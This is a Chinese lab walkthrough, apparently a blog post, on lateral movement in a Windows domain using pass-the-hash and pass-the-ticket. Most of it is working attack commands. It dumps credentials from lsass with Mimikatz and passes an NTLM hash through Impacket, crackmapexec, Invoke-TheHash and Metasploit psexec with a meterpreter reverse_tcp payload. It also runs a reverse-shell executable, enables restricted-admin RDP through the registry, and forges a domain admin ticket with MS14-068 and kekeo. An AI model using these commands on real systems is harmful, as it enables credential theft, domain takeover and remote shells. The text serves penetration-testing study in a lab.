文章目录
网络拓扑:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f825a313015c468f9267482a128beac9.png#pic_center)
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、哈希传递
哈希传递(Pass the Hash,PTH)时一直针对NTLM协议的攻击技术,在NTLM身份认证的第三步生成response时,客户端直接使用用户的NTLM哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在windows系统中只使用用户哈希值队访问资源的用户身份进行认证。
1.1 利用Mimikatz进行PTH
Mimikatz中内置了哈希传递的功能,需要本地管理员权限。
1、在win 7上尝试不输入密码与域控进行IPC连接。此时,windows会默认使用当前用户的NTLM Hash进行NTLM网络认证,win 7的本地管理员不是域用户,显示是连接不上域控的。
2、将Mimikatz上传到跳板机win 7 并执行下面的命令:
# 抓取用户hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
获取到域管理员NTLM hash为e037bc75e7afd68ec61c46253bd03f9b
。
上述使用
mimikatz.exe
,本质上是在线读取lsass.exe
内存中保存的用户名和密码。如果机器关机后,只有本地管理员登录,mimikatz.exe
就只能读取到本地管理员的账户和密码。
2、利用抓取到的域管理员的NTLM hash进行hash传递,在win7上执行:
# hash传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:god /ntlm:e037bc75e7afd68ec61c46253bd03f9b /run:whoami" exit
默认情况会弹出cmd命令行,在该命令行下可以使用IPC连接去查看域控C盘根目录。用自己创建的cmd进程则不可以。
1.2 利用Impacket进行PTH
Impacket
项目中具备远执行功能的几个脚本都支持哈希传递,例如smbexec.py
、wmiexec.py
、psexec.py
。
kali上执行
impacket-smbexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-smbexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"
impacket-wmiexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-wmiexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"
win 7上执行
impacket-smbexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-smbexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"
wmiexec.exe -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-wmiexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"
1.3 使用crackmapexec进行PTH
crackmapexec smb 192.168.52.138 -u administrator -H e037bc75e7afd68ec61c46253bd03f9b -d god -x whoami
# crackmapexec smb <ip> -u administrator -H <ntlm hash> -d <domain> -x <command>
# <ip>:可以是单个IP也可以是IP段
# -u:指定用户名
# -H:指定NTLM Hash
# -d:指定域
# -x:执行系统命令
# --exec-method:smbexec(system权限)、wmiexec(默认,用户权限)、atexec(system权限)
1.4 使用PowerShell
在win 7上远程让靶机(192.168.52.138)运行反弹shell。Invoke-TheHash项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。
Invoke-SMBExec -Target 192.168.52.138 -Domain god -Username administrator -Hash 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b -Command "C:\Users\liukaifeng01\Desktop\reverse_shell.exe" -verbose
1.5 使用MSF进行哈希传递
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.1 # Kali IP
set LPORT 7778
set RHOSTS 192.168.52.138 # 目标IP
set SMBUser administrator # 用户名
set SMBDomain god # 域名
set SMBPass 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b
run
域名写错了,似乎也能登上去。
1.6 利用哈希传递登录远程桌面
哈希传递不仅可以在远程主机上执行命令,在特定条件下还可以建立远程桌面连接。需要具备以下条件:
- 远程主机开启“受限管理员”模式;
- 用于登录远程桌面的用户位于远程主机的管理员组中;
- 目标用户的hash。
windows server 2012 R2及以上的版本采用了新版RDP,支持受限管理员模式(Restricted Admin Mode
)。开启该模式后,测试人员可以通过哈希传递直接登录远程桌面,不需要明文密码。受限管理员模式在windows 8.1和windows server 2012 r2上默认开启。
1、执行以下命令,查看目标主机是否开启受限管理员模式。
# 查看主机是否开启“受限管理员”模式
# 若值为0,则说明启动;若为1,则说明未开启。
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin
2、在windows server 2012 R2及以上的主机可以使用下面的命令手动开启。
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
3、若远程主机开启了受限管理员模式,则可以通过mimikatz进行利用。
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:xxxx "/run:mstsc.exe /restrictedadmin"
大致原理是:哈希传递成功后执行mstsc.exe /restrictedadmin
,以受限管理员模式运行远程桌面客户端,此时不需要用户名密码即可成功登录远程桌面。
注意:受限管理员模式只对管理员组中的用户有效,如果获取到的用户属于远程桌面用户组,就无法通过哈希传递进行登录。
二、票据传递
票据传递(pass the ticket,PTT)是一种使用Kerberos票据代替明文密码或NTLM hashde的攻击方法。这种攻击方式可以用Kerberos票据进行内网渗透,不需要管理员权限,最常见的就是黄金票据和白银票据。
2.1 MS14-068漏洞
MS14-068
是一个windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll
。它允许经过身份验证的用户在其kerberos票据中插入任意PAC,并且可能允许攻击者将未授权的域用户账号的权限提升为域管理员权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。
该漏洞的利用条件:
- 获取域普通用户的账号密码;
- 获取域普通用户的SID;
- 服务器未安装
KB3011780
补丁。
下面的实验是在跳板机Win 7上进行的,使用普通域用户账号登录。
1、首先在域控上创建一个普通域用户,然后在win 7上用普通域用户登录。在域god.org
中添加一个test用户。
2、在域控上,查看系统是否安装KB3011780
补丁,本环境下,域控没有安装相应的补丁。
systeminfo # 查看系统信息,尤其是补丁情况
3、在win 7上,获取域用户SID。
whoami /all # 查看当前用户的SID
wmic useraccount get name,sid # 查看所有用户的SID
4、创建票据之前需要清除win7系统内票据。
mimikatz.exe "kerberos::purge" exit # 清除系统内票据
# 查看系统内存中的票据
kerberos::purge # mimikatz中使用
klist # 直接在命令行中用
5、在win 7上,使用ms14-068.exe
生成域管理员的票据
ms14-068.exe -u administrator@god.org -p hongrisec@2024. -s S-1-5-21-2952760202-1353902439-2381784089-1109 -d 192.168.52.138
# -u:用来指定域用户@域名,这里是administrator用户
# -p:用来指定域用户密码,administrator用户的密码
# -s:当前域用户SID,域用户god\test的SID
# -d:用来指定域控IP
6、在win 7上,使用mimikatz
注入内存
kerberos::ptc TGT_administrator@god.org.ccache
7、在win 7上,验证权限
dir \\owa.god.org\c$ # 查看域控C盘下的文件
psexec64.exe \\owa.god.org cmd.exe # 拿到域控的shell
# IP访问不行就用域名
2.2 使用kekeo进行票据传递
kekeo是一款开源工具,主要用来进行票据传递、S4U2约束委派滥用等。如果想使用kekeo进行票据传递,需要域名、用户名、用户哈希。
1、win7上使用本地管理员用户登录,并获取域管理员的NTLM hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
#
2、在win7上清除系统内存中的票据
mimikatz.exe "kerberos::purge" exit # 清除票据
klist # 查看系统内存中的票据
3、在win7上生成票据
kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:xxxxx"
4、在win 7上使用mimikatz将票据导入内存。
mimikatz.exe "kerberos::ptt <票据路径>" exit
klist # 查看票据是否注入成功
5、票据传递
dir \\owa.god.org\c$
可以看到
net user
中看不到已建立的连接,但是就是可以查看靶机C盘下的目录。